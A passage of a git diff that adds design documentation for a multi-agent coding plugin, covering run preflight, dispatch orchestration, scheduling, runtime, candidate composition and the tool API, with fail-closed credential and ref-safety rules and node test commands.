`null`; the bridge never fabricates `0`, `1`, `false`, +or `true`. Truncation is absorbing: projection may keep or mark a source +truncated/incomplete, but it never upgrades truncated evidence to +complete. Capture provenance `source_truncated` is passed through on +restart rather than reset to `false`. `reader_clipped` / `more` remain +paging facts and are distinct from source completeness. + +Restart constructs a new bridge over the same injected raw store. Projection +re-reads raw bytes and re-sanitizes; it does not invent artifacts. + +## Cleanup + +`cleanupRunArtifacts` is manual and proof-bound. Required keys: + +`run_id`, `proof`. + +`proof` requires `run_id` and may include `assignment_ids` (1..8 unique +assignment ids). `proof.run_id` must equal the request `run_id`. Unknown +proof keys, including `worktree`, `branch`, `lock`, and `candidate`, fail +closed. There is no automatic garbage collection. + +Cleanup lists the proven run, refuses any foreign `run_id` or path, and +only then calls `rawStore.remove` with the exact listed identities. A +subset proof cannot remove a sibling assignment. A second call is +idempotent (`removed: 0`, `cleaned: true` when the targeted set is gone). +Worktrees, branches, handoffs, task receipts, and candidate refs are +outside this facade and are never deleted here. + +## Errors + +Failures are `RunContractV1Error` values with a closed code vocabulary. +Messages are content-free. They never echo source bytes, credentials, +absolute paths, or store errors. Injected-store exceptions become +`artifact_bridge_store_failed`. + +## Non-goals + +Runtime composition, scheduler dispatch, lifecycle settlement, MCP server +cutover, candidate refs, CHANGELOG/future-work edits, version changes, and +Gate A remain unclaimed. diff --git a/docs/run-candidate-composition.md b/docs/run-candidate-composition.md new file mode 100644 index 0000000..2b15ac6 --- /dev/null +++ b/docs/run-candidate-composition.md @@ -0,0 +1,140 @@ +# Run-owned candidate composition (P35) + +P35 deterministically composes frozen verified child deltas into one +run-owned, single-parent, non-authoritative candidate and verifies that +candidate through accepted P13/P14/P15/P16/P30/P32 evidence. It does not +own the server, supervisor, worker, provider, registry, runtime, +scheduler, artifact-bridge, or release surfaces. Codex retains sole final +acceptance and integration authority. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/run-candidate-composer.mjs` +- `plugins/codex-co-engineer/mcp/v3/run-combined-verifier.mjs` +- `plugins/codex-co-engineer/test/r1-run-candidate-composer.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-candidate-composer-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-combined-verifier.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-combined-verifier-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-run-candidate-composer-fixtures.mjs` +- this document + +## Composition + +```js +composeRunOwnedCandidateV1(request, options?) +``` + +The request names the composer schema/version, a credential-free run/base +identity, the expected base ref, declared protected/default refs, and 1–8 +lanes in **manifest order**. Optional +`allow_diagnostic_partial_candidate` is a permission, never an obligation. + +Eligible inputs are frozen, already-verified writer deltas. Each eligible +child head SHA is frozen, a binary-safe tree delta is computed from the +immutable run base, and eligible deltas are applied in manifest order onto +a disposable index. Application uses Git plumbing (`read-tree`, +`update-index --index-info`, `write-tree`, `commit-tree`, `update-ref`) +so NUL bytes and other non-text payloads survive without recoding. + +Before application the composer revalidates: + +- path ownership against the lane `write_scope` and sibling writer scopes +- Git policy: symlink, submodule, rename, copy, and mode-change deltas + are rejected +- P28 `compose_candidate_non_authoritative` authority on + `refs/codex-co-engineer/runs//candidate` +- P30 live protected/default refs against the declared identities + +A patch that does not apply cleanly, or two writers that claim the same +path, fails closed. The platform does not merge, rebase, three-way apply, +or semantically repair conflicts. + +The result is **one** candidate with **one** parent: the run's immutable +base SHA. The only ref written is +`refs/codex-co-engineer/runs//candidate`. HEAD, the default +branch, tags, remotes, and user-protected refs are not mutated. Restart of +the same frozen deltas is idempotent: the same tree, parent, author, and +message produce the same candidate SHA. + +## Completeness + +| Lane | Missing, rejected, or unresolved | Effect | +| --- | --- | --- | +| Required writer (`implement` / `writer`) | yes | blocks a complete candidate | +| Optional/advisory (`review` or `verify` / `read_only`) | yes | does not block | + +A required writer that is rejected or unresolved blocks `composed`. When +`allow_diagnostic_partial_candidate` is true, verified writers may still +be applied, but the receipt is `incomplete_candidate` and +`ready_for_codex_review` stays false. Absent or false diagnostic +authorization keeps complete-only behavior: no candidate ref is written. + +The composer never sets `ready_for_codex_review`. Diagnostic partial +output is `incomplete_candidate` and can never receive that authorization. + +## Combined verification + +```js +verifyCombinedCandidateV1(request, options?) +``` + +The verifier consumes a composition receipt as values and verifies the +candidate through accepted evidence: + +| Surface | Owner | Use here | +| --- | --- | --- | +| Evidence records | P13 `evidence-bundle.mjs` | `parseVerifiedFactV1` / `parseEvidenceDiscrepancyV1` | +| Git identity | P14 `git-identity.mjs` | `verifyGitIdentityV1` | +| Scope / read-only / merge-commit | P15 `scope-verifier.mjs` | `verifyScopeV1` | +| Constrained trusted-policy execution | P16 `constrained-verification-runner.mjs` | injected `executeVerification` | +| Live protected-ref audit | P30 `protected-ref-audit.mjs` | `auditProtectedRefsV1` | +| Run API boundary | P32 `run-api-boundary.mjs` | `projectRunApiBoundaryV1` of already-produced P30/P31 receipts | +| Git authority | P28 `git-authority.mjs` | exact same-run candidate-ref authority | + +The verifier revalidates `composition.candidate_ref` through accepted P28 +run-owned candidate-ref authority bound to the same run and composition +receipt identity. Regex or presence is not authority. The only accepted +name is `refs/codex-co-engineer/runs//candidate` from +`expectedCandidateRefV1` / `isRunOwnedCandidateRefV1` plus a +`compose_candidate_non_authoritative` verdict whose projected evidence +repeats that same run/assignment/base. Unauthorized names include +`refs/heads/main`, other heads, tags, remotes, notes, protected and +default refs, another run's candidate, malformed, nested, escaped, +traversal-like, and symbolic or aliased refs. Missing or contradictory +P28 evidence fails closed. An unauthorized ref never returns +`verified` or `ready_for_codex_review`; the receipt is deterministic +frozen `failed` evidence with no Git or remote mutation. + +`ready_for_codex_review` is true only when composition is complete +(`composed`, one parent), the candidate ref is the exact P28 same-run +binding, P14/P15/P30 verify, P32 projects `ready`, and P16 reports an +unchanged passing execution. Incomplete diagnostic candidates, blocked +required lanes, missing P16 evidence, and any failed audit remain not +ready. Codex still owns acceptance: a verified receipt is evidence for +review, not integration. + +## Receipts + +Composer and verifier receipts are detached and deeply frozen. They name +exact run/assignment identity, the candidate ref, parent SHA/count, +applied and blocked lanes, checks, P13 facts, and an all-false +side-effect nonclaim map. They never echo credentials, repository paths, +URLs, provider text, or hostile refs. `integrated`, `remote_mutated`, +`push_performed`, `merge_performed`, `pr_created`, and `tag_created` stay +false. + +## Non-goals + +No server, supervisor, worker, provider, registry, runtime, scheduler, or +artifact-bridge wiring. No merge, rebase, push, PR, tag, release, or +protected/default-ref mutation. No conflict repair. No Gate A or version +claim. Cleanup of the candidate ref is not automatic. + +## Testing + +``` +node --no-warnings --test test/r1-run-candidate-composer.test.mjs \ + test/r1-run-candidate-composer-adversarial.test.mjs \ + test/r1-run-combined-verifier.test.mjs \ + test/r1-run-combined-verifier-adversarial.test.mjs +``` diff --git a/docs/run-orchestration.md b/docs/run-orchestration.md new file mode 100644 index 0000000..216a816 --- /dev/null +++ b/docs/run-orchestration.md @@ -0,0 +1,96 @@ +# Run orchestration — dispatch boundary (P31) + +The P31 run dispatch orchestration boundary is one additive v3 module, +`plugins/codex-co-engineer/mcp/v3/run-orchestration.mjs`. It binds accepted +P26 preflight to accepted P29 closed credential/environment projection +**before** any workspace, branch or ref, reservation, dispatch, credential +handoff, or provider process exists. + +## Fail closed, then bind + +A preflight failure — including CPU/RAM capacity denial — fails closed +with **zero side effects**. The boundary does not project credentials, +does not read credential files, does not create a handoff, does not +invoke the dispatcher, and does not create a workspace, branch, ref, or +reservation. Upstream P26 denial codes pass through unchanged. + +Only a ready P26 receipt authorizes P29 projection. Projection is +in-memory and per resolved lane: Grok, Cursor Local, Cursor Cloud, DSH +Muse, and DSH Ox maps are closed allowlists. Foreign provider secrets, +Git/SSH/hosting tokens, control tokens, key-file paths, and +`NODE_OPTIONS` never appear. Lane argv never carries credential +material. Public receipts are content-free: they name projected keys and +identities, never values. + +Prepare (`intent: "prepare"`, the default) still creates no handoff and +no provider process. Dispatch is an explicit later intent through an +injected seam. There is no hidden default dispatcher and no +supervisor/server cutover. + +## Successful dispatch + +When `intent` is `dispatch` and a dispatcher function is injected: + +- every lane must already carry an exact provider/model pair + (`orchestration_selection_unresolved` otherwise, with no handoff); +- owner-only P29 handoff files are created from a session-unique + lifecycle identity (a nonce bound into the P29 identity, never a + collidable `run_id`+`assignment_id` digest); +- the dispatcher receives the closed env and credential-free argv; +- secrets never appear in argv; +- worker remote mutation stays denied (`denyRunRemoteMutationV1` / + P29 `denyWorkerRemoteMutation`). + +Cleanup unlinks remaining handoff files and stops injected children on +dispatch failure, cancel, terminal completion, and restart. Concurrent +executions that share `run_id` and `assignment_id` still receive distinct +handoff identities, so cancelling one run never deletes another run's +handoff. Cancel, terminal, and restart require the internally registered +receipt/session object; unknown or forged caller-supplied receipts, lane +identities, and paths are rejected without touching live handoffs. Unlink +or stop failures are not swallowed: remaining genuine lanes are still +cleaned best-effort, and the caller receives `cleaned: false` with +deterministic sanitized per-lane `unresolved` evidence. A restart creates +a new handoff for the same lifecycle identity only after the previous +cleanup fully succeeded. This boundary still never creates a workspace, +branch, ref, or reservation. + +## Composition + +| Surface | Owner | Use here | +| --- | --- | --- | +| Launch-side validation | P26 `validateRunPreflightV1` | runs first; failures are zero-effect | +| Closed env / handoff / redaction | P29 `credential-boundary` | projection, isolation, cleanup, argv/env inspection | +| Remote mutation denial | P29 consulting P28 | `denyRunRemoteMutationV1` | +| Provider composition | P23 registry | not invoked | +| Live protected-ref audit | P30 | not invoked | + +## Non-goals + +No workspace provisioning, branch/ref creation, reservation, P30 live-ref +audit, public API, supervisor/server cutover, release, Gate A, merge, +rebase, push, PR, tag, or protected/default-ref authority. The separate +supervisor false-success reliability issue is out of scope. + +## API + +- `orchestrateRunDispatchV1(request, options?)` — async; request is + `{ manifest, intent? }` with `intent` `prepare` (default) or `dispatch`. + Options may inject `host` and `spawn` (P26), `env` (P29 source, unread + until preflight succeeds), and `dispatch` (required for dispatch + intent). Returns a detached frozen receipt or throws a typed + content-free `RunContractV1Error` / `CredentialBoundaryError`. +- `cancelRunDispatchV1(receipt)` / `completeRunDispatchV1(receipt)` / + `restartRunDispatchV1(receipt, options?)` — cleanup and restart of a + genuine internally registered receipt only. Returns `cleaned` plus + sanitized `unresolved` evidence; unknown receipts throw + `orchestration_session_unknown` and do not touch live handoffs. +- `denyRunRemoteMutationV1(operation)` — P29 worker remote-mutation denial. +- `describeRunOrchestrationV1()` — deterministic frozen inventory. + +## Testing + +``` +node --no-warnings --test test/r1-run-orchestration.test.mjs \ + test/r1-run-orchestration-adversarial.test.mjs +``` diff --git a/docs/run-preflight.md b/docs/run-preflight.md new file mode 100644 index 0000000..79efa86 --- /dev/null +++ b/docs/run-preflight.md @@ -0,0 +1,130 @@ +# Run preflight — launch-side validation gate (P26) + +The P26 run preflight is one additive v3 module, +`plugins/codex-co-engineer/mcp/v3/run-preflight.mjs`. It is the validation +gate between an authored run submission and any later launch surface: it +proves a run is launchable exactly as submitted, and it launches nothing. + +## Validate only + +A preflight pass creates **no workspace, no branch or ref, no task dispatch, +no credential projection, no remote mutation, and no reservation** — and a +preflight failure leaves even less. The receipt carries an all-false +side-effect nonclaim map so consumers can assert the boundary in tests. The +module never writes to the filesystem; its only process spawns are read-only +git observations (`rev-parse`, `cat-file -t`, `for-each-ref`) run argv-only +under the accepted closed git environment with `--no-replace-objects +--no-optional-locks`, disabled hooks/fsmonitor/untracked-cache, so even +advisory lock files cannot appear as an observation side effect. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/run-preflight.mjs` +- `plugins/codex-co-engineer/test/r1-run-preflight.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-preflight-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-run-preflight-fixtures.mjs` +- this document + +## Exact canonical repository/base identity + +The repository and base SHA are observed on the host, not taken from the +submission's word alone. One observation proves all of: + +- the path is a real directory identical to its own canonical `realpath` + spelling — symlink aliases, bare repositories, non-work-tree roots, and + alternate directory spellings fail closed; +- git independently reports the same work tree toplevel as the submitted + path and yields a trusted absolute git directory; +- the `.git` layout is trusted: a `.git` directory must resolve to the + observed git dir, a linked-worktree `.git` file must point (absolutely or + relatively) at the same resolved target, and symlinked `.git` entries are + rejected; +- the base exists in that repository as **exactly one immutable commit + object**: full 40-character lowercase hex is enforced by the accepted P02 + grammar before any process runs, so symbolic spellings (`HEAD`, `@`, + branch names), abbreviations, uppercase hex, suffix expressions, and + SHA-256-length strings never reach git; annotated tag objects, trees, and + blobs are denied as a base even though they are valid objects; +- no `refs/replace/*` entry shadows object identity. + +Detached HEAD is deliberately irrelevant: the base identity comes from the +object database, never from where HEAD happens to point. + +## Bounded independent fanout + +The launch boundary owns the fanout invariant as frozen literals: +`PREFLIGHT_MIN_CHILDREN = 1`, `PREFLIGHT_MAX_CHILDREN = 8`. The child count +is enforced against those literals **before** the composed upstream contract +runs, so a routine quota change anywhere else can never widen the public +maximum: even a future grammar that tolerated more children would still fail +preflight with the boundary's own `preflight_child_count_exceeded` denial. +Independence is re-asserted over the detached frozen snapshot — no +dependency edge of any shape (`preflight_dependency_edge_denied`) and no +duplicate child id (`preflight_duplicate_child_id`) — and writer-scope +disjointness is re-checked pairwise with the accepted conservative +static-prefix intersection, so overlapping writer scopes are detected at +this boundary even though upstream already denies them. + +## Capacity denial + +Every concurrently running child is guaranteed a schedulable CPU slot and a +private RAM floor: + +| Resource | Rule | Denial code | +| --- | --- | --- | +| CPU | `host.cpu_parallelism >= policy.max_concurrency` | `host_cpu_capacity_exceeded` | +| RAM | `host.available_ram_bytes >= max_concurrency * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD` (256 MiB) | `host_ram_capacity_exceeded` | + +Host facts are read from the ambient host when not injected; tests inject +exact values through the closed `options.host` seam (validated as +non-negative safe integers — hostile facts fail with +`host_facts_invalid`). The capacity check runs after the pure-data checks +and before any process spawns, so a denied run costs zero git observations. +Denial messages are fixed templates that never echo requested or observed +numbers. + +## Composition + +Preflight composes accepted surfaces and invents none of their semantics: + +| Surface | Owner | Use here | +| --- | --- | --- | +| Run envelope, assignments, policy, scope grammar | P02 `run-manifest` / `run-policy` | complete contract via `parseRunManifestV1()` | +| GitIdentityV1 digest binding | P03 `protected-identity` / `identity` | receipt carries `buildGitIdentityV1()` bytes | +| Selection resolution | P05 resolver | not invoked; resolution stays behind its own authority | +| Provider composition | P23 registry | not invoked; nothing is composed or dispatched | +| Durable submission | P24 run store | consumes `receipt.git_identity`; nothing is written | + +Upstream denial codes pass through unchanged, so existing callers keep +their accepted error vocabulary; codes owned by this boundary live in the +closed `RUN_PREFLIGHT_ERROR_CODES` list. + +## Non-goals + +No workspace provisioning, branch creation, dispatch, scheduling, provider +composition, selection resolution, store writes, cleanup ownership, +supervisor/server cutover, merge or PR authority, direct mode, network +access, or credential handling. Preflight failure output is bounded and +content-free: messages are fixed templates that never echo hostile values. + +## API + +- `validateRunPreflightV1(request, options?)` — async; returns a detached, + deeply frozen ready receipt or throws a typed content-free + `RunContractV1Error`. `request` is `{ manifest }`; `options` may inject + `spawn` (test seam) and `host` facts. +- `describeRunPreflightV1()` — deterministic deep-frozen inventory of the + schema, bounds, checks, error codes, and nonclaims. +- `RUN_PREFLIGHT_SCHEMA_ID`, `RUN_PREFLIGHT_VERSION`, + `PREFLIGHT_MIN_CHILDREN`, `PREFLIGHT_MAX_CHILDREN`, + `PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD`, `RUN_PREFLIGHT_CHECKS`, + `RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS`, `RUN_PREFLIGHT_ERROR_CODES`, + `RUN_PREFLIGHT_READONLY_GIT_COMMANDS`. + +## Testing + +``` +node --no-warnings --test test/r1-run-preflight.test.mjs \ + test/r1-run-preflight-adversarial.test.mjs \ + test/r1-run-preflight-side-effect.test.mjs +``` diff --git a/docs/run-runtime.md b/docs/run-runtime.md new file mode 100644 index 0000000..a5cf001 --- /dev/null +++ b/docs/run-runtime.md @@ -0,0 +1,148 @@ +# Run runtime (P33) + +P33 `RunRuntimeV1` is the dependency-injected composition boundary over +frozen P24/P25/R24A/R25B/P27/P34 contracts. It is the sole writer of +run-level submit/resume/cancel/inspect for this slice. It does not own +the scheduler, artifact bridge, worker, process boundary, supervisor, +lock recovery, server, or candidate composer. Those seams are injected +or forbidden. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/run-runtime.mjs` +- `plugins/codex-co-engineer/test/r1-run-runtime.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-runtime-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-runtime-dependencies.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-run-runtime-fixtures.mjs` +- this document + +## Factory + +```js +createRunRuntime({ + runStore, + runJournal, + aggregateAnchor, + attentionBatch, + scheduler, + artifactBridge, + settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle, + clock, +}) -> { submitRun, resumeRun, cancelRun, inspectRun } +``` + +The options object has exactly those nine keys. Extra keys, proxies, +missing methods, and non-functions fail closed. Tests inject scoped +stubs. Later lead composition injects the accepted scheduler result, +artifact-bridge result, and supervisor lifecycle exports. + +`clock()` must return a UTC ISO-8601 timestamp or a safe epoch +millisecond count. + +## Exact identity and one submission + +`submitRun` requires the closed P24 body (`run_id`, +`request_idempotency_key`, `identity`, `git`, `provenance`, `telemetry`) +plus `assignments` (1–8). `git.base_sha` is the immutable run base. + +The first exact body is the only dispatch. Durable P24 identity is the +one-submission authority: `scheduler.submitAssignments` runs only when +`runStore.submit` returns `created: true`. Exact resubmit returns +`status: "idempotent"` and does not call the scheduler again. A different +assignment body for the same `run_id` fails `runtime_identity_conflict`. + +`inspectRun` and `rememberFromStore` never invent a placeholder digest or +identity fact. After restart they recover the authoritative stored +submission identity from `runStore.getByRunId` when that record is +durably available. Incomplete or unknown identity stays unknown and +fails closed: no fabricated conflict and no fabricated `created: true` +success. Conflict arbitration then belongs to `runStore.submit`. +Byte-identical resubmission returns `created: false` for inspect-first, +status-first, remember-first, and submit-first order. Every restart +permutation keeps exactly one provider dispatch. A genuinely different +immutable identity still fails `runtime_identity_conflict`. + +Replay, fallback, direct-mode, merge/push/create-PR, GitHub/remote, +worktree/branch/lock, candidate, and `lifecycle_root` keys fail closed +with precise codes. + +## P27 / R24A / R25B + +If `aggregateAnchor.getCoordination(run_id)` exists and is not +`resolution_ready`, dispatch fails `runtime_selection_unresolved` with +zero scheduler calls and no P24 write. That is how this module consumes +ask-once P27 without owning selection persistence. When coordination is +`resolution_ready`, the journal path is R25B aggregate create/open. +When no aggregate run exists, the journal path is legacy P25 bound to +the P24 record. + +## Restart, cursor, and attention + +`resumeRun` inspects exact stored identities through the injected +scheduler. Cursor rows must bind the exact `assignment_id` and +`task_id`. Optional `attention_items` are latched through P34 at the +current P25 revision/head and task cursors. Routine progress never +wakes (`wake: false`). Unsupported same-session items cancel only the +affected lane through the injected scheduler. + +## Lifecycle finality + +P33 consumes `settleLocalTaskLifecycle(root, task, runtime, dependencies)` +and `cleanupLocalTaskLifecycle(...)`. It always passes `root = null` and +identity-only `task` / `runtime` objects. It never imports +`acp-worker.mjs` or `process-boundary.mjs`, and it never inspects +`/proc`, systemd, cgroupfs, or WTB locks. + +A child terminal scheduler status is accepted into the P25 journal only +when settlement returns `final: true`. Otherwise the lane projects +`lifecycle_pending`, candidate completeness stays blocked, and no +`child_terminal` event is appended. Cleanup status/code and exact +`task_id` are copied into run evidence. `cleanupLocalTaskLifecycle` is +called idempotently on terminal, cancel, and restart. + +## Proof-bound cleanup + +`cancelRun({ run_id, assignment_ids, cleanup? })` cancels only the named +lanes. Artifact cleanup runs only when `cleanup: true` **and** every +targeted lane has `final: true`. The artifact bridge receives +`proof: { run_id, assignment_ids }`. Missing finality fails +`runtime_cleanup_unproven` without removing artifacts. Worktrees, +branches, locks, task receipts, and candidate refs are never deleted +here. + +## Receipts + +Receipts are detached and deeply frozen. They carry exact run/assignment +identity, journal revision/head, attention evidence, sanitized lifecycle +cleanup, checks, and an all-false remote-mutation map. They never echo +credentials, paths, raw stub errors, or provider transcripts. + +## Composition + +| Surface | Owner | Use here | +| --- | --- | --- | +| P24 durable run identity | injected `runStore` | one-submission idempotency | +| P25 six-kind journal | injected `runJournal.create/open` | `run_opened`, `child_started`, `child_progress`, `child_terminal`, `run_terminal` | +| R24A coordination | injected `aggregateAnchor.getCoordination` | `resolution_ready` gate | +| R25B aggregate journal | injected `runJournal.createAggregate/openAggregate` | journal path after P27 | +| P27 ask-once selection | already persisted on R24A | not imported; unresolved phases fail closed | +| P34 attention batch | injected `attentionBatch` | decision evidence | +| Scheduler / artifact bridge | injected results | never imported | +| Supervisor lifecycle | injected functions | finality before child terminal; idempotent cleanup | +| Server / candidate / Gate A | later slices | not imported | + +## Non-goals + +No scheduler, artifact-bridge, worker, process-boundary, supervisor, +server, candidate-ref, CHANGELOG, future-work, version, release, merge, +rebase, push, PR, tag, or remote mutation implementation. Gate A is not +claimed. + +## Testing + +``` +node --no-warnings --test test/r1-run-runtime.test.mjs \ + test/r1-run-runtime-adversarial.test.mjs \ + test/r1-run-runtime-dependencies.test.mjs +``` diff --git a/docs/run-scheduler.md b/docs/run-scheduler.md new file mode 100644 index 0000000..f194463 --- /dev/null +++ b/docs/run-scheduler.md @@ -0,0 +1,131 @@ +# Run scheduler (P33) + +P33 `RunSchedulerV1` is the in-memory one-submission assignment fanout +boundary. It coordinates 1–8 independent lanes against one exact run/base +identity through injected task functions. It does not own durable storage, +artifacts, lifecycle proof, supervisor/server cutover, or candidate +composition. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/run-scheduler.mjs` +- `plugins/codex-co-engineer/test/r1-run-scheduler.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-scheduler-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-run-scheduler-fixtures.mjs` +- this document + +## Factory + +```js +createRunScheduler({ delegateTask, inspectTask, cancelTask, clock }) + -> { submitAssignments, resumeAssignments, cancelAssignments } +``` + +All four dependencies are required functions. The scheduler never imports +`run-runtime.mjs`, `run-artifact-bridge.mjs`, `acp-worker.mjs`, +`process-boundary.mjs`, `supervisor.mjs`, `server.mjs`, `task-store.mjs`, +mailbox, provider drivers, or candidate composers. Later run-runtime +composition injects these seams; tests inject scoped stubs. + +`clock()` must return a UTC ISO-8601 timestamp or a safe epoch millisecond +count. Invalid clocks fail closed with a content-free `invalid_clock`. + +## One-submission 1–8 fanout + +`submitAssignments({ run_id, base_sha, assignments })` accepts 1–8 +independent assignments that share one exact `run_id` and one exact 40-hex +`base_sha`. + +Each assignment carries exact `assignment_id`, `task_id`, `role`, `access`, +`provider`, `model`, `write_scope`, and `required`. Cursor Cloud lanes also +pin `starting_ref`; local lanes must not. + +The first exact body for a `run_id` is the only dispatch. Each lane is +handed to `delegateTask` at most once, concurrently, with an identity-only +plan (no prompt, argv, credentials, or workspace). Exact resubmit returns +the existing frozen receipt as `idempotent` and does not call `delegateTask` +again. A different body for the same `run_id` fails closed as +`scheduler_run_conflict` without a second dispatch. + +A lane whose injected delegate fails or returns a mismatched `task_id` +becomes unresolved. Unaffected lanes continue. Required unresolved or +failed lanes set `complete_candidate_blocked`; optional/advisory lanes do +not. + +## Disjoint writers and read-only verifiers + +`implement` requires `access: "writer"` and a non-empty `write_scope`. +`review` and `verify` require `access: "read_only"` and an empty +`write_scope`. Overlapping writer scopes fail closed before any +`delegateTask` call. Read-only lanes do not participate in writer-scope +intersection. + +## No fallback, replay, or duplicate dispatch + +Replay, retry, fallback, dependency-edge, direct-mode, merge/push/create-PR, +executable, and credential keys are denied at any depth with the existing +precise codes. After a prompt-capable dispatch plan is handed to +`delegateTask`, that lane is never redispatched, never switched onto +another transport or model, and never retried from resume. + +`resumeAssignments` inspects exact stored identities through `inspectTask`. +Cancelled lanes record `restart_denied_no_replay` and stay cancelled. +Cursor rows must bind the exact `assignment_id` and `task_id`. + +## Cancellation, attention, and cursor evidence + +`cancelAssignments({ run_id, assignment_ids })` requires exact known +assignment ids. Only those lanes are cancelled. Unaffected lanes continue. +An unconfirmed injected cancel records `safe_cancel_unconfirmed` and still +cancels remaining named lanes. + +Resume projects bounded cursor and attention evidence. Routine progress +never wakes (`wake: false`). Grok and Cursor Local may carry +`same_session` attention. DSH and Cursor Cloud attention is +`unsupported`: the affected lane is safely cancelled and unresolved; +other lanes continue. Attention prompts are at most 4096 UTF-8 bytes; +options are at most eight. + +Receipts are detached and deeply frozen. They never echo credentials, +paths, raw stub errors, or provider transcripts. Remote mutation stays +denied. + +## API + +- `createRunScheduler({ delegateTask, inspectTask, cancelTask, clock })` +- `submitAssignments(request)` +- `resumeAssignments(request)` +- `cancelAssignments(request)` +- `describeRunSchedulerV1()` — deterministic frozen inventory +- `RUN_SCHEDULER_SCHEMA_ID`, `RUN_SCHEDULER_VERSION`, + `RUN_SCHEDULER_METHODS`, `RUN_SCHEDULER_CHECKS`, + `RUN_SCHEDULER_ERROR_CODES`, `RUN_SCHEDULER_SIDE_EFFECTS` + +Errors are typed `RunContractV1Error` values with content-free +diagnostics. + +## Composition + +| Surface | Owner | Use here | +| --- | --- | --- | +| 3.2.1 delegate / inspect / cancel | injected functions | called with exact run/assignment/task identity | +| P02 run/assignment identity and disjoint scopes | `run-manifest.mjs` | id grammar, SHA, writer-scope overlap | +| P03 canonical JSON | `identity.mjs` | submission digest | +| P24/P25/P34/runtime/artifact/lifecycle | later P33 runtime | not imported | +| Candidate composition | P35 | not imported | +| Server / supervisor cutover | R-CUTOVER | not imported | + +## Non-goals + +No durable journal or store. No workspace, branch, or ref creation. No +artifact capture. No lifecycle `/proc` or WTB lock inspection. No mailbox +delivery. No candidate ref. No MCP tool, supervisor cutover, CHANGELOG or +future-work edit, version bump, Gate A, release, merge, rebase, push, PR, +tag, or remote mutation. + +## Testing + +``` +node --no-warnings --test test/r1-run-scheduler.test.mjs \ + test/r1-run-scheduler-adversarial.test.mjs +``` diff --git a/docs/run-tool-api.md b/docs/run-tool-api.md new file mode 100644 index 0000000..01cf628 --- /dev/null +++ b/docs/run-tool-api.md @@ -0,0 +1,115 @@ +# Run tool API (R-CUTOVER) + +R-CUTOVER is the additive five-tool wiring of bounded runs onto the +3.2.1 MCP catalog. It does not add a sixth tool. Submit, status, wait, +attention, reply, cancel, and cleanup are parameters and modes on +`status`, `delegate`, `task`, `tasks`, and `cancel`. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/run-tool-adapter.mjs` +- `plugins/codex-co-engineer/mcp/v3/server.mjs` +- `plugins/codex-co-engineer/mcp/v3/supervisor.mjs` +- `plugins/codex-co-engineer/test/r1-run-tool-adapter.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-tool-adapter-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-run-tool-adapter-fixtures.mjs` +- this document + +## Catalog + +The public catalog remains exactly: + +`status`, `delegate`, `task`, `tasks`, `cancel` + +Omitted additive fields preserve exact 3.2.1 direct/single-task/full-text/ +structured/wait/diagnostic/reply/cancel behavior and response shapes. + +## Frozen mapping + +| Operation | Tool | Additive parameter or mode | +| --- | --- | --- | +| submit | `delegate` | `run` | +| status | `status` or `task` | `run_id` | +| wait | `task` or `tasks` | `run_id` plus `wait_until: "decision_or_attention"` | +| attention | `task` | `run_id` plus `attention` | +| reply | `task` | `run_id` plus `run_reply` | +| cancel | `cancel` | `run_id` plus optional `assignment_ids` | +| cleanup | `cancel` | `run_id` plus `cleanup: true` | + +`wait_until` remains `progress` and `terminal` for 3.2.1. The additive +run mode is `decision_or_attention`. Routine progress never wakes. + +Mixing a run body with 3.2.1 `task_id` / `workspace_mode` / `create_pr` / +`reply` fields fails closed. + +## Bounds and selection + +One run submission carries 1–8 lanes. Provider/model is explicit on each +assignment or filled from one named profile. Explicit fields must agree +with that profile when both are present; omitted fields may be filled +from the profile. A missing, invalid, or conflicting profile fails +closed before dispatch. The adapter never learns, ranks, or globally +routes. The accepted four-slot registry is `grok`, `cursor-local`, +`cursor-cloud`, and `dsh`. P22 future-harness conformance remains +evidence, never a provider slot. + +Direct mode, replay, fallback, merge, push, create-PR, GitHub, and +remote keys fail before any provider dispatch, ref creation, or cleanup. + +## Authority preserved + +| Surface | Owner | Use here | +| --- | --- | --- | +| One-submission runtime, proof-bound cleanup, lifecycle finality | P33 | injected `submitRun` / `inspectRun` / `resumeRun` / `cancelRun` | +| Attention latch and exactly-once reply | P34 | `resumeRun` attention items and injected `attention.reply` | +| Run-owned candidate ref | P35 | projected `refs/codex-co-engineer/runs//candidate`; never composed here | +| Four-slot provider composition | P23 | exact `{provider, model}` lookup; no fallback | +| Terminal false-success projection | R-TRUTH | model-facing lane receipts | +| Remote mutation denial | P29 / P28 | `denyRunToolRemoteMutationV1` | + +Unaffected lanes continue. A required unresolved lane blocks a complete +candidate. Decision results are the verified P33/P34 receipts, not caller +prose. MCP output is model-facing: owner-only raw artifacts are stripped. + +Production default seams are durable P24/P25/P34/P32 authorities under +the supervisor state root (`runs/store`, `runs/journal`, +`runs/attention`, `runs/scheduler`, `runs/artifacts`). Tests may inject +`createInProcessRunSeams` or an explicit `seams` object. Restart +recovery, journal cursors, attention CAS, scheduler-plan identity, and +proof-bound cleanup are not process-local Maps. + +Production `attention.reply` binds P34 to the supervisor proof-bound +same-session mailbox (`submitReply`): the one reply round must match the +latched task/session/question identity and is delivered exactly once. +Failed or unconfirmed cancellation stays unresolved/unsafe, including +after durable restart, and never projects cancelled/safe. Authoritative +artifact bytes and scheduler-plan identity persist before or atomically +with provider dispatch; stale, partial, or mismatched state fails closed +and never duplicates dispatch. One immutable run-level profile/catalog +snapshot is 